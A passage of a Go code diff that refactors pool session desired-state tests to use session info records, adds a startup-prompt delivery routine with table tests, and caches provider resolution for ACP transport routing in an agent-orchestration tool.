@@ -283,7 +283,7 @@ func TestComputePoolDesiredStates_ResumeResolvesPersistedBoundTemplate(t *testin
 		},
 	}}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -363,7 +363,7 @@ func TestComputePoolDesiredStates_TerminalProviderErrorSessionsDoNotBlockNewDema
 		sessionProviderTerminalErrorMetadataKey: "model_not_found",
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, []beads.Bead{stale}, map[string]int{"claude": 1})
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads([]beads.Bead{stale}), map[string]int{"claude": 1})
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -387,7 +387,7 @@ func TestComputePoolDesiredStates_TraceListsActiveCapacityBlockers(t *testing.T)
 	sessions := []beads.Bead{sessionBead("sess-active", "open")}
 	trace := newPoolDesiredStateTestTrace("claude")
 
-	result := computePoolDesiredStates(cfg, work, sessions, map[string]int{"claude": 1}, nil, trace)
+	result := computePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), map[string]int{"claude": 1}, nil, trace)
 
 	if len(result) != 1 || len(result[0].Requests) != 1 || result[0].Requests[0].Tier != "resume" {
 		t.Fatalf("result = %#v, want only the active resume request under max_active_sessions=1", result)
@@ -428,7 +428,7 @@ func TestComputePoolDesiredStates_MaxCapsResumeBeads(t *testing.T) {
 		sessionBead("s3", "open"),
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	// Max=2: only 2 of the 3 in-progress beads get sessions.
 	if len(result) != 1 {
@@ -485,7 +485,7 @@ func TestComputePoolDesiredStates_MaxOneTemplatesStillParticipateInDemand(t *tes
 		sessionBead("worker", "open"),
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1 for max=1 demand", len(result))
@@ -602,7 +602,7 @@ func TestComputePoolDesiredStates_ClosedSessionNotResumed(t *testing.T) {
 	}
 	sessions := []beads.Bead{sessionBead("dead-session", "closed")}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	// The session bead is closed, so this shouldn't be a resume request.
 	// It also shouldn't be a new request because it has an assignee.
@@ -626,7 +626,7 @@ func TestComputePoolDesiredStates_DedupsResumeForSameSession(t *testing.T) {
 	}
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	// Should deduplicate — only one resume request for sess-1.
 	resumeCount := 0
@@ -658,7 +658,7 @@ func TestComputePoolDesiredStates_ResumePriorityOrder(t *testing.T) {
 		sessionBead("s3", "open"),
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 || len(result[0].Requests) != 2 {
 		t.Fatalf("expected 2 requests, got %d", len(result[0].Requests))
@@ -732,7 +732,7 @@ func TestComputePoolDesiredStates_ManualSessionDoesNotConsumeSingletonNewDemand(
 		},
 	}
 
-	result := ComputePoolDesiredStates(cfg, nil, []beads.Bead{manual}, map[string]int{"claude": 1})
+	result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads([]beads.Bead{manual}), map[string]int{"claude": 1})
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -782,7 +782,7 @@ func TestComputePoolDesiredStates_NamedSessionBeadSkipsPoolResume(t *testing.T)
 		},
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, []beads.Bead{namedBead}, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads([]beads.Bead{namedBead}), nil)
 
 	resumeCount := 0
 	for _, ds := range result {
@@ -845,7 +845,7 @@ func TestComputePoolDesiredStates_CapsNewDemandBeforeMaterializingRequests(t *te
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 	trace := newPoolDesiredStateTestTrace("claude")
 
-	result := computePoolDesiredStates(cfg, work, sessions, map[string]int{"claude": 10}, nil, trace)
+	result := computePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), map[string]int{"claude": 10}, nil, trace)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -879,7 +879,7 @@ func TestComputePoolDesiredStates_OpenAssignedWorkResumes(t *testing.T) {
 	}
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 || len(result[0].Requests) != 1 {
 		t.Fatalf("expected 1 request, got %#v", result)
@@ -905,7 +905,7 @@ func TestComputePoolDesiredStates_ResumeOverridesZeroScaleCheck(t *testing.T) {
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 	scaleCheck := map[string]int{"claude": 0}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), scaleCheck)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -945,7 +945,7 @@ func TestComputePoolDesiredStates_ScaleCheckAndResumeAddUp(t *testing.T) {
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 	scaleCheck := map[string]int{"claude": 2}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), scaleCheck)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -981,7 +981,7 @@ func TestComputePoolDesiredStates_AssignedSessionsDoNotConsumeNewDemand(t *testi
 		sessions = append(sessions, sessionBead(sessionID, "open"))
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, map[string]int{"claude": 5})
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), map[string]int{"claude": 5})
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -1019,7 +1019,7 @@ func TestComputePoolDesiredStates_InFlightNewSessionsConsumeScaleDemand(t *testi
 	}
 	scaleCheck := map[string]int{"claude": 3}
 
-	result := ComputePoolDesiredStates(cfg, nil, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads(sessions), scaleCheck)
 
 	counts := PoolDesiredCounts(result)
 	if counts["claude"] != 3 {
@@ -1051,7 +1051,7 @@ func TestComputePoolDesiredStates_InFlightNewSessionsDoNotCreateZeroDemand(t *te
 	}
 	scaleCheck := map[string]int{"claude": 0}
 
-	result := ComputePoolDesiredStates(cfg, nil, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads(sessions), scaleCheck)
 
 	counts := PoolDesiredCounts(result)
 	if counts["claude"] != 0 {
@@ -1069,7 +1069,7 @@ func TestComputePoolDesiredStates_InFlightNewSessionsOnlySubtractCoveredDemand(t
 	}
 	scaleCheck := map[string]int{"claude": 5}
 
-	result := ComputePoolDesiredStates(cfg, nil, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads(sessions), scaleCheck)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -1113,7 +1113,7 @@ func TestComputePoolDesiredStates_InFlightResumeBeadsDoNotConsumeNewDemand(t *te
 	}
 	scaleCheck := map[string]int{"claude": 3}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), scaleCheck)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -1167,7 +1167,7 @@ func TestComputePoolDesiredStates_DoesNotResumeSessionAcrossExplicitRouteMismatc
 		workBead("w-mismatched-route", "codex-min", "workflows__codex-max-mc-codex-max", "in_progress", 5),
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, []beads.Bead{session}, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads([]beads.Bead{session}), nil)
 
 	for _, state := range result {
 		for _, req := range state.Requests {
@@ -1200,7 +1200,7 @@ func TestComputePoolDesiredStates_DoesNotResumeLegacySessionAcrossExplicitRouteM
 		workBead("w-mismatched-route", "codex-min", "workflows__codex-max-mc-codex-max", "in_progress", 5),
 	}
 
-	result := ComputePoolDesiredStates(cfg, work, []beads.Bead{session}, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads([]beads.Bead{session}), nil)
 
 	for _, state := range result {
 		for _, req := range state.Requests {
@@ -1230,7 +1230,7 @@ func TestComputePoolDesiredStates_InFlightPredicateBranches(t *testing.T) {
 	}
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			result := ComputePoolDesiredStates(cfg, nil, []beads.Bead{tt.session}, map[string]int{"claude": 1})
+			result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads([]beads.Bead{tt.session}), map[string]int{"claude": 1})
 
 			if len(result) != 1 || len(result[0].Requests) != 1 {
 				t.Fatalf("result = %#v, want one in-flight request", result)
@@ -1249,7 +1249,7 @@ func TestComputePoolDesiredStates_StaleCreatingBeadStillConsumesNewDemand(t *tes
 	stale := poolSessionBeadWithState("sess-stale", "creating", "")
 	stale.CreatedAt = time.Date(2026, 5, 4, 12, 0, 0, 0, time.UTC).Add(-2 * staleCreatingStateTimeout)
 
-	result := ComputePoolDesiredStates(cfg, nil, []beads.Bead{stale}, map[string]int{"claude": 1})
+	result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads([]beads.Bead{stale}), map[string]int{"claude": 1})
 
 	if len(result) != 1 || len(result[0].Requests) != 1 {
 		t.Fatalf("result = %#v, want one stale creating request preserving already-spent demand", result)
@@ -1271,7 +1271,7 @@ func TestComputePoolDesiredStates_InFlightSelectionRespectsCapsInStableOrder(t *
 		pendingPoolSessionBeadAt("sess-tie-a", base.Add(2*time.Minute)),
 	}
 
-	result := ComputePoolDesiredStates(cfg, nil, sessions, map[string]int{"claude": 10})
+	result := ComputePoolDesiredStates(cfg, nil, sessionInfosFromBeads(sessions), map[string]int{"claude": 10})
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
@@ -1298,7 +1298,7 @@ func TestComputePoolDesiredStates_InFlightDemandRecordsTrace(t *testing.T) {
 	}
 	trace := newPoolDesiredStateTestTrace("claude")
 
-	result := computePoolDesiredStates(cfg, nil, sessions, map[string]int{"claude": 5}, nil, trace)
+	result := computePoolDesiredStates(cfg, nil, sessionInfosFromBeads(sessions), map[string]int{"claude": 5}, nil, trace)
 
 	if len(result) != 1 || len(result[0].Requests) != 5 {
 		t.Fatalf("result = %#v, want five desired requests", result)
@@ -1331,7 +1331,7 @@ func TestComputePoolDesiredStates_InFlightDemandRecordsTraceWhenCapsSuppressReus
 	}
 	trace := newPoolDesiredStateTestTrace("claude")
 
-	result := computePoolDesiredStates(cfg, nil, sessions, map[string]int{"claude": 5}, nil, trace)
+	result := computePoolDesiredStates(cfg, nil, sessionInfosFromBeads(sessions), map[string]int{"claude": 5}, nil, trace)
 
 	if len(result) != 0 {
 		t.Fatalf("result = %#v, want no desired requests when workspace cap is exhausted", result)
@@ -1397,7 +1397,7 @@ func TestComputePoolDesiredStates_PerRigScoping(t *testing.T) {
 	}
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	counts := PoolDesiredCounts(result)
 	if counts["claude"] != 0 {
@@ -1436,7 +1436,7 @@ func TestResumeTier_AsleepSessionWithAssignedWork(t *testing.T) {
 
 	scaleCheck := map[string]int{"hello-world/polecat": 1}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, scaleCheck)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), scaleCheck)
 
 	// Must have a resume request pointing to mc-sctve.
 	var resumeFound bool
@@ -1525,31 +1525,31 @@ func TestCanonicalSingletonAliasHeldTemplates_ExcludesFailedCreateHolder(t *test
 	}
 
 	// A live named holder occupies the singleton's slot.
-	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{holder("active")})["mayor"]; !ok {
-		t.Fatalf("live named alias-holder should mark mayor held; got %v", canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{holder("active")}))
+	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{holder("active")}))["mayor"]; !ok {
+		t.Fatalf("live named alias-holder should mark mayor held; got %v", canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{holder("active")})))
 	}
 
 	// A failed-create holder released the alias -> must NOT be treated as held.
-	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{holder("failed-create")})["mayor"]; ok {
-		t.Fatalf("failed-create holder released its alias and must NOT mark mayor held (over-suppression hang); got %v", canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{holder("failed-create")}))
+	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{holder("failed-create")}))["mayor"]; ok {
+		t.Fatalf("failed-create holder released its alias and must NOT mark mayor held (over-suppression hang); got %v", canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{holder("failed-create")})))
 	}
 
 	// A closed holder no longer owns the alias.
 	closed := holder("active")
 	closed.Status = "closed"
-	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{closed})["mayor"]; ok {
+	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{closed}))["mayor"]; ok {
 		t.Fatalf("closed holder released its alias and must NOT mark mayor held; got held")
 	}
 
 	// A pool-managed bead is the pool's own instance, not the named alias holder.
 	poolManaged := holder("active")
 	poolManaged.Metadata[poolManagedMetadataKey] = boolMetadata(true)
-	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{poolManaged})["mayor"]; ok {
+	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{poolManaged}))["mayor"]; ok {
 		t.Fatalf("pool-managed bead is not the named alias holder and must NOT mark mayor held; got held")
 	}
 
 	// A drained holder released its alias.
-	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, []beads.Bead{holder("drained")})["mayor"]; ok {
+	if _, ok := canonicalSingletonAliasHeldTemplates(cfg, sessionInfosFromBeads([]beads.Bead{holder("drained")}))["mayor"]; ok {
 		t.Fatalf("drained holder released its alias and must NOT mark mayor held; got held")
 	}
 }
diff --git a/cmd/gc/pool_desired_state_wake_test.go b/cmd/gc/pool_desired_state_wake_test.go
index e0cd2fa126..a1791e8128 100644
--- a/cmd/gc/pool_desired_state_wake_test.go
+++ b/cmd/gc/pool_desired_state_wake_test.go
@@ -41,7 +41,7 @@ func TestComputePoolDesiredStates_WakeKnownIdentityForClosedSession(t *testing.T
 	}
 	closed := closedPoolSessionBead("sess-1", "rig/claude")
 
-	result := ComputePoolDesiredStates(cfg, work, []beads.Bead{closed}, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads([]beads.Bead{closed}), nil)
 
 	wakeCount := 0
 	for _, ds := range result {
@@ -92,7 +92,7 @@ func TestComputePoolDesiredStates_WakeKnownIdentityDedupsMultipleBeadsForSameSes
 	}
 	closed := closedPoolSessionBead("sess-1", "rig/claude")
 
-	result := ComputePoolDesiredStates(cfg, work, []beads.Bead{closed}, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads([]beads.Bead{closed}), nil)
 
 	wakeCount := 0
 	for _, ds := range result {
@@ -119,7 +119,7 @@ func TestComputePoolDesiredStates_LiveSessionContinuesAsResumeTier(t *testing.T)
 	}
 	sessions := []beads.Bead{sessionBead("sess-live", "open")}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 || len(result[0].Requests) != 1 {
 		t.Fatalf("expected 1 request, got %#v", result)
diff --git a/cmd/gc/pool_session_name.go b/cmd/gc/pool_session_name.go
index e5062d61b4..bf39c48632 100644
--- a/cmd/gc/pool_session_name.go
+++ b/cmd/gc/pool_session_name.go
@@ -44,6 +44,31 @@ func sessionBeadAssigneeIdentities(sb beads.Bead) []string {
 	return identities
 }
 
+// sessionBeadAssigneeIdentitiesInfo is the session.Info mirror of
+// sessionBeadAssigneeIdentities. It reads the RAW session_name
+// (Info.SessionNameMetadata) and the pre-normalized Info.AliasHistory.
+func sessionBeadAssigneeIdentitiesInfo(i session.Info) []string {
+	identities := make([]string, 0, 5)
+	if id := strings.TrimSpace(i.ID); id != "" {
+		identities = append(identities, id)
+	}
+	if sn := strings.TrimSpace(i.SessionNameMetadata); sn != "" {
+		identities = append(identities, sn)
+	}
+	if ni := strings.TrimSpace(i.ConfiguredNamedIdentity); ni != "" {
+		identities = append(identities, ni)
+	}
+	if al := strings.TrimSpace(i.Alias); al != "" {
+		identities = append(identities, al)
+	}
+	for _, prior := range i.AliasHistory {
+		if prior = strings.TrimSpace(prior); prior != "" {
+			identities = append(identities, prior)
+		}
+	}
+	return identities
+}
+
 type releasedPoolAssignment struct {
 	ID    string
 	Index int
diff --git a/cmd/gc/prompt_delivery.go b/cmd/gc/prompt_delivery.go
new file mode 100644
index 0000000000..5fd1a97598
--- /dev/null
+++ b/cmd/gc/prompt_delivery.go
@@ -0,0 +1,59 @@
+package main
+
+import (
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/shellquote"
+)
+
+// promptDeliveryResult is the resolved plan for delivering a rendered startup
+// prompt to a freshly launched session: which argv suffix / flag / nudge
+// carries it, and whether any mechanism actually delivered it.
+type promptDeliveryResult struct {
+	PromptSuffix string
+	PromptFlag   string
+	Nudge        string
+	// Delivered reports whether the startup prompt reached a first-turn
+	// delivery mechanism. Callers stamp the GC_STARTUP_PROMPT_DELIVERED marker
+	// from this so observers can distinguish "primed" from "live but never
+	// primed".
+	Delivered bool
+}
+
+// promptDelivery decides how a rendered startup prompt is delivered for a
+// session launch. It is the single pure statement of the priming policy that
+// was previously duplicated across the launch, ACP, and prompt-mode branches.
+//
+// Delivery mechanism, in precedence order:
+//   - ACP or a "none" prompt-mode provider: prepend the prompt to the nudge.
+//   - flag prompt-mode with a configured flag: pass the prompt via argv suffix
+//     plus the provider's prompt flag.
+//   - default: pass the prompt as a quoted argv suffix.
+//
+// An empty prompt delivers nothing. Judgment about prompt *content* stays in
+// templates; this function only routes an already-rendered prompt and reports
+// delivered/not-delivered.
+func promptDelivery(prompt string, isACP bool, rp *config.ResolvedProvider, nudge string) promptDeliveryResult {
+	res := promptDeliveryResult{Nudge: nudge}
+	if prompt == "" {
+		return res
+	}
+	switch {
+	case isACP:
+		res.Nudge = prependStartupPromptToNudge(prompt, nudge)
+		res.Delivered = true
+	case rp != nil && rp.PromptMode == "none":
+		res.Nudge = prependStartupPromptToNudge(prompt, nudge)
+		res.Delivered = true
+	default:
+		res.PromptSuffix = shellquote.Quote(prompt)
+		res.Delivered = res.PromptSuffix != ""
+		if rp != nil && rp.PromptMode == "flag" {
+			if rp.PromptFlag != "" {
+				res.PromptFlag = rp.PromptFlag
+			} else {
+				res.Delivered = false
+			}
+		}
+	}
+	return res
+}
diff --git a/cmd/gc/prompt_delivery_test.go b/cmd/gc/prompt_delivery_test.go
new file mode 100644
index 0000000000..c21e74d4cb
--- /dev/null
+++ b/cmd/gc/prompt_delivery_test.go
@@ -0,0 +1,97 @@
+package main
+
+import (
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/shellquote"
+)
+
+func TestPromptDelivery(t *testing.T) {
+	const prompt = "do the work"
+	quoted := shellquote.Quote(prompt)
+
+	tests := []struct {
+		name  string
+		promp string
+		isACP bool
+		rp    *config.ResolvedProvider
+		nudge string
+		want  promptDeliveryResult
+	}{
+		{
+			name:  "empty prompt delivers nothing",
+			promp: "",
+			nudge: "wake",
+			want:  promptDeliveryResult{Nudge: "wake"},
+		},
+		{
+			name:  "acp prepends to nudge",
+			promp: prompt,
+			isACP: true,
+			nudge: "wake",
+			want: promptDeliveryResult{
+				Nudge:     prependStartupPromptToNudge(prompt, "wake"),
+				Delivered: true,
+			},
+		},
+		{
+			name:  "prompt-mode none prepends to nudge",
+			promp: prompt,
+			rp:    &config.ResolvedProvider{PromptMode: "none"},
+			nudge: "",
+			want: promptDeliveryResult{
+				Nudge:     prependStartupPromptToNudge(prompt, ""),
+				Delivered: true,
+			},
+		},
+		{
+			name:  "default arg mode uses quoted suffix",
+			promp: prompt,
+			rp:    &config.ResolvedProvider{PromptMode: "arg"},
+			nudge: "wake",
+			want: promptDeliveryResult{
+				PromptSuffix: quoted,
+				Nudge:        "wake",
+				Delivered:    true,
+			},
+		},
+		{
+			name:  "nil provider defaults to quoted suffix",
+			promp: prompt,
+			rp:    nil,
+			want: promptDeliveryResult{
+				PromptSuffix: quoted,
+				Delivered:    true,
+			},
+		},
+		{
+			name:  "flag mode with flag sets both suffix and flag",
+			promp: prompt,
+			rp:    &config.ResolvedProvider{PromptMode: "flag", PromptFlag: "--prompt"},
+			want: promptDeliveryResult{
+				PromptSuffix: quoted,
+				PromptFlag:   "--prompt",
+				Delivered:    true,
+			},
+		},
+		{
+			name:  "flag mode without flag is not delivered",
+			promp: prompt,
+			rp:    &config.ResolvedProvider{PromptMode: "flag"},
+			want: promptDeliveryResult{
+				PromptSuffix: quoted,
+				Delivered:    false,
+			},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := promptDelivery(tt.promp, tt.isACP, tt.rp, tt.nudge)
+			if got != tt.want {
+				t.Errorf("promptDelivery() = %+v, want %+v", got, tt.want)
+			}
+		})
+	}
+}
diff --git a/cmd/gc/provider_store_resolution_test.go b/cmd/gc/provider_store_resolution_test.go
index dba67414a6..5918522131 100644
--- a/cmd/gc/provider_store_resolution_test.go
+++ b/cmd/gc/provider_store_resolution_test.go
@@ -400,7 +400,7 @@ trigger = "manual"
 	chdirProviderAwareTest(t, cityDir)
 
 	var stdout, stderr bytes.Buffer
-	code := cmdOrderRun("poll", "", false, &stdout, &stderr)
+	code := cmdOrderRun("poll", "", false, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("cmdOrderRun(exec) = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -446,7 +446,7 @@ pool = "dog"
 	chdirProviderAwareTest(t, cityDir)
 
 	var stdout, stderr bytes.Buffer
-	code := cmdOrderRun("digest", "", false, &stdout, &stderr)
+	code := cmdOrderRun("digest", "", false, nil, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("cmdOrderRun(formula) = %d, want 0; stderr: %s", code, stderr.String())
 	}
diff --git a/cmd/gc/providers.go b/cmd/gc/providers.go
index 64c5291eb8..d52c974ec3 100644
--- a/cmd/gc/providers.go
+++ b/cmd/gc/providers.go
@@ -218,7 +218,14 @@ func loadProviderSessionSnapshot(ctx sessionProviderContext) *sessionBeadSnapsho
 	if err != nil {
 		return nil
 	}
-	all, err := store.ListByLabel(sessionBeadLabel, 0)
+	// This snapshot reads only session-class beads (the gc:session label) to
+	// drive transport/ACP routing decisions, so route through the session
+	// coordination-class store for relocation-safety. openSessionProviderStore
+	// opens its own generic store (independent of the caller), so routing here
+	// closes the gap on both the CLI and controller provider-construction paths.
+	// Identity to the opened store today (resolveClassStore is pure identity).
+	sessStore := cliSessionStore(store, ctx.cfg, ctx.cityPath)
+	all, err := sessStore.ListByLabel(sessionBeadLabel, 0)
 	if err != nil {
 		return nil
 	}
@@ -256,8 +263,13 @@ func resolveSessionTransportProvider(ctx sessionProviderContext, sessionBeads *s
 	// auto provider that routes per-session.
 	// NOTE: agents comes from loadCityConfig which applies pack overrides, so the
 	// Session field from overrides is already resolved here.
-	requireACPWrapper := requiresACPProviderWrapper(sessionBeads, ctx.cityName, ctx.cfg)
-	if ctx.providerName != "acp" && needsACPProviderWrapper(sessionBeads, ctx.cityName, ctx.cfg) {
+	// acpRouteNames is computed once and reused for both the requires/needs
+	// checks and the route registration below, instead of recomputing the
+	// (agent + named-session) x provider-resolution walk up to 3x per call.
+	acpRouteNames := configuredACPRouteNames(sessionBeads, ctx.cityName, ctx.cfg)
+	requireACPWrapper := len(acpRouteNames) > 0
+	needsACPWrapper := requireACPWrapper || (ctx.cfg != nil && hasACPProviderTargets(ctx.cfg))
+	if ctx.providerName != "acp" && needsACPWrapper {
 		acpSP, acpErr := buildSessionProviderByName(ctx.cfg, "acp", ctx.sc, ctx.cityName, ctx.cityPath)
 		if acpErr != nil {
 			if requireACPWrapper {
@@ -266,7 +278,7 @@ func resolveSessionTransportProvider(ctx sessionProviderContext, sessionBeads *s
 			return base, nil
 		}
 		autoSP := sessionauto.New(base, acpSP)
-		for _, sessName := range configuredACPRouteNames(sessionBeads, ctx.cityName, ctx.cfg) {
+		for _, sessName := range acpRouteNames {
 			autoSP.RouteACP(sessName)
 		}
 		return autoSP, nil
@@ -278,6 +290,20 @@ func agentSessionCreateTransport(cfg *config.City, agentCfg config.Agent) string
 	if cfg == nil {
 		return strings.TrimSpace(agentCfg.Session)
 	}
+	// StartCommand is ResolveProvider's escape hatch (step 1): it bypasses
+	// provider-catalog resolution entirely, so a cache entry for
+	// agentCfg.Provider would not describe this agent's actual resolution.
+	if agentCfg.StartCommand == "" {
+		name := agentCfg.Provider
+		if name == "" {
+			name = cfg.Workspace.Provider
+		}
+		if name != "" {
+			if resolved, ok := config.ResolvedProviderCached(cfg, name); ok {
+				return config.ResolveSessionCreateTransport(agentCfg.Session, &resolved)
+			}
+		}
+	}
 	resolved, err := config.ResolveProvider(
 		&agentCfg,
 		&cfg.Workspace,
@@ -310,14 +336,6 @@ func configuredACPSessionNames(snapshot *sessionBeadSnapshot, cityName, sessionT
 	return names
 }
 
-func needsACPProviderWrapper(snapshot *sessionBeadSnapshot, cityName string, cfg *config.City) bool {
-	return requiresACPProviderWrapper(snapshot, cityName, cfg) || (cfg != nil && hasACPProviderTargets(cfg))
-}
-
-func requiresACPProviderWrapper(snapshot *sessionBeadSnapshot, cityName string, cfg *config.City) bool {
-	return len(configuredACPRouteNames(snapshot, cityName, cfg)) > 0
-}
-
 func hasACPProviderTargets(cfg *config.City) bool {
 	if cfg == nil {
 		return false
@@ -348,6 +366,9 @@ func resolveProviderForACPTransport(cfg *config.City, providerName string) *conf
 	if cfg == nil || strings.TrimSpace(providerName) == "" {
 		return nil
 	}
+	if resolved, ok := config.ResolvedProviderCached(cfg, providerName); ok {
+		return &resolved
+	}
 	resolved, err := config.ResolveProvider(
 		&config.Agent{Provider: providerName},
 		&cfg.Workspace,
@@ -374,14 +395,14 @@ func observedACPSessionNames(snapshot *sessionBeadSnapshot, cfg *config.City) []
 	if snapshot == nil {
 		return nil
 	}
-	open := snapshot.Open()
+	open := snapshot.OpenInfos()
 	names := make([]string, 0, len(open))
 	seen := make(map[string]bool, len(open))
-	for _, bead := range open {
-		if !beadUsesACPTransport(bead, cfg) {
+	for _, info := range open {
+		if !infoUsesACPTransport(info, cfg) {
 			continue
 		}
-		sessionName := strings.TrimSpace(bead.Metadata["session_name"])
+		sessionName := strings.TrimSpace(info.SessionNameMetadata)
 		if sessionName == "" || seen[sessionName] {
 			continue
 		}
@@ -391,6 +412,9 @@ func observedACPSessionNames(snapshot *sessionBeadSnapshot, cfg *config.City) []
 	return names
 }
 
+// beadUsesACPTransport is the raw-bead form retained as the byte-identical
+// oracle for infoUsesACPTransport (TestSessionClassifierInfoEquivalence). No
+// production caller reads it — observedACPSessionNames consumes the Info form.
 func beadUsesACPTransport(bead beads.Bead, cfg *config.City) bool {
 	transport := strings.TrimSpace(bead.Metadata["transport"])
 	if transport != "" {
@@ -440,6 +464,55 @@ func beadUsesACPTransport(bead beads.Bead, cfg *config.City) bool {
 	return false
 }
 
+func infoUsesACPTransport(info session.Info, cfg *config.City) bool {
+	transport := strings.TrimSpace(info.Transport)
+	if transport != "" {
+		return transport == "acp"
+	}
+	providerName := strings.TrimSpace(info.Provider)
+	if providerName == "acp" {
+		return true
+	}
+	if strings.TrimSpace(info.MCPIdentity) != "" ||
+		strings.TrimSpace(info.MCPServersSnapshot) != "" {
+		return true
+	}
+	templateName := strings.TrimSpace(info.Template)
+	if cfg != nil {
+		if agentCfg, ok := resolveAgentIdentity(cfg, templateName, currentRigContext(cfg)); ok {
+			if strings.TrimSpace(agentCfg.Session) != "" && agentSessionCreateTransport(cfg, agentCfg) == "acp" {
+				return true
+			}
+			if strings.TrimSpace(info.Command) == "" &&
+				info.PendingCreateClaim &&
+				agentSessionCreateTransport(cfg, agentCfg) == "acp" {
+				return true
+			}
+			if providerName == "" {
+				providerName = strings.TrimSpace(agentCfg.Provider)
+			}
+		}
+		if providerName == "" {
+			providerName = templateName
